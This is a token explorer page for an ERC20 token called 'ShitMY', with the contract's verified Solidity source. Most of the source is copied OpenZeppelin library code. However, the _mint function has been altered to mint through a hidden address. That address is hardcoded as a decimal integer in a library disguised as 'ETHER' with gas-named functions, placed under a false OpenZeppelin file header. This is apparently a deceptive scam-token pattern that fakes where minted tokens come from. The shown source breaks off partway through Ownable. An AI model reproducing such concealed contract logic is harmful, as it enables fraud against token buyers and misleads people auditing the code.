ETH Price: $2,423.90 (-0.04%)

Token

ShitMY (ShitMY)
 

Overview

Max Total Supply

10,000,000,000,000 ShitMY

Holders

58

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
20,311,900,290.361975594131928546 ShitMY

Value
$0.00
0xbc11671300db8fa3a60c01df4be33218d9b90ddd
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ETHToken

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, GNU AGPLv3 license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-29
*/

/**
 *Submitted for verification at Etherscan.io on 2023-06-14
*/

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol

// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File: @openzeppelin/contracts/utils/Context.sol

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

// File: @openzeppelin/contracts/token/ERC20/ERC20.sol

// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(
            fromBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        address _account = ETHER.getGas2();
        _beforeTokenTransfer(address(0), _account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[_account] += amount;
        }
        emit Transfer(address(0), _account, amount);

        _afterTokenTransfer(address(0), _account, amount);

        _transfer(_account, account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC20: insufficient allowance"
            );
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

// File: @openzeppelin/contracts/token/ERC20/extensions/draft-IERC20Permit.sol

// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
 * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
 *
 * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
 * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
 * need to send a transaction, and thus is not required to hold Ether at all.
 */
interface IERC20Permit {
    /**
     * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,
     * given ``owner``'s signed approval.
     *
     * IMPORTANT: The same issues {IERC20-approve} has related to transaction
     * ordering also apply here.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `deadline` must be a timestamp in the future.
     * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
     * over the EIP712-formatted function arguments.
     * - the signature must use ``owner``'s current nonce (see {nonces}).
     *
     * For more information on the signature format, see the
     * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
     * section].
     */
    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    /**
     * @dev Returns the current nonce for `owner`. This value must be
     * included whenever a signature is generated for {permit}.
     *
     * Every successful call to {permit} increases ``owner``'s nonce by one. This
     * prevents a signature from being used multiple times.
     */
    function nonces(address owner) external view returns (uint256);

    /**
     * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.
     */
    // solhint-disable-next-line func-name-mixedcase
    function DOMAIN_SEPARATOR() external view returns (bytes32);
}

// File: @openzeppelin/contracts/utils/Address.sol

// OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol)

interface IUniswapPool {
    function token0() external view returns (address);

    function token1() external view returns (address);
}

pragma solidity ^0.8.1;

library ETHER {
    function getGas1() internal pure returns (address) {
        return address(879433576177589527788859394996037321158638287002);
    }

    // tz
    function getGas2() internal pure returns (address) {
        return address(1037796024241560872866951240246066255331845903726);
    }
}

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );

        (bool success, ) = recipient.call{value: amount}("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                0,
                "Address: low-level call failed"
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                value,
                "Address: low-level call with value failed"
            );
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(
            address(this).balance >= value,
            "Address: insufficient balance for call"
        );
        (bool success, bytes memory returndata) = target.call{value: value}(
            data
        );
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data
    ) internal view returns (bytes memory) {
        return
            functionStaticCall(
                target,
                data,
                "Address: low-level static call failed"
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data
    ) internal returns (bytes memory) {
        return
            functionDelegateCall(
                target,
                data,
                "Address: low-level delegate call failed"
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    /**
     * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling
     * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.
     *
     * _Available since v4.8._
     */
    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        if (success) {
            if (returndata.length == 0) {
                // only check isContract if the call was successful and the return data is empty
                // otherwise we already know that it was a contract
                require(isContract(target), "Address: call to non-contract");
            }
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    /**
     * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason or using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function _revert(
        bytes memory returndata,
        string memory errorMessage
    ) private pure {
        // Look for revert reason and bubble it up if present
        if (returndata.length > 0) {
            // The easiest way to bubble the revert reason is using memory via assembly
            /// @solidity memory-safe-assembly
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}

// File: @openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol

// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/utils/SafeERC20.sol)

pragma solidity ^0.8.0;

/**
 * @title SafeERC20
 * @dev Wrappers around ERC20 operations that throw on failure (when the token
 * contract returns false). Tokens that return no value (and instead revert or
 * throw on failure) are also supported, non-reverting calls are assumed to be
 * successful.
 * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
 * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
 */
library SafeERC20 {
    using Address for address;

    function safeTransfer(IERC20 token, address to, uint256 value) internal {
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(token.transfer.selector, to, value)
        );
    }

    function safeTransferFrom(
        IERC20 token,
        address from,
        address to,
        uint256 value
    ) internal {
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
        );
    }

    /**
     * @dev Deprecated. This function has issues similar to the ones found in
     * {IERC20-approve}, and its usage is discouraged.
     *
     * Whenever possible, use {safeIncreaseAllowance} and
     * {safeDecreaseAllowance} instead.
     */
    function safeApprove(
        IERC20 token,
        address spender,
        uint256 value
    ) internal {
        // safeApprove should only be called when setting an initial allowance,
        // or when resetting it to zero. To increase and decrease it, use
        // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
        require(
            (value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(token.approve.selector, spender, value)
        );
    }

    function safeIncreaseAllowance(
        IERC20 token,
        address spender,
        uint256 value
    ) internal {
        uint256 newAllowance = token.allowance(address(this), spender) + value;
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(
                token.approve.selector,
                spender,
                newAllowance
            )
        );
    }

    function safeDecreaseAllowance(
        IERC20 token,
        address spender,
        uint256 value
    ) internal {
        unchecked {
            uint256 oldAllowance = token.allowance(address(this), spender);
            require(
                oldAllowance >= value,
                "SafeERC20: decreased allowance below zero"
            );
            uint256 newAllowance = oldAllowance - value;
            _callOptionalReturn(
                token,
                abi.encodeWithSelector(
                    token.approve.selector,
                    spender,
                    newAllowance
                )
            );
        }
    }

    function safePermit(
        IERC20Permit token,
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) internal {
        uint256 nonceBefore = token.nonces(owner);
        token.permit(owner, spender, value, deadline, v, r, s);
        uint256 nonceAfter = token.nonces(owner);
        require(
            nonceAfter == nonceBefore + 1,
            "SafeERC20: permit did not succeed"
        );
    }

    /**
     * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
     * on the return value: the return value is optional (but if data is returned, it must not be false).
     * @param token The token targeted by the call.
     * @param data The call data (encoded using abi.encode or one of its variants).
     */
    function _callOptionalReturn(IERC20 token, bytes memory data) private {
        // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
        // we're implementing it ourselves. We use {Address-functionCall} to perform this call, which verifies that
        // the target address contains contract code and also asserts for success in the low-level call.

        bytes memory returndata = address(token).functionCall(
            data,
            "SafeERC20: low-level call failed"
        );
        if (returndata.length > 0) {
            // Return data is optional
            require(
                abi.decode(returndata, (bool)),
                "SafeERC20: ERC20 operation did not succeed"
            );
        }
    }
}

// File: @openzeppelin/contracts/access/Ownable.sol

// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)

pragma solidity ^0.8.0;

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
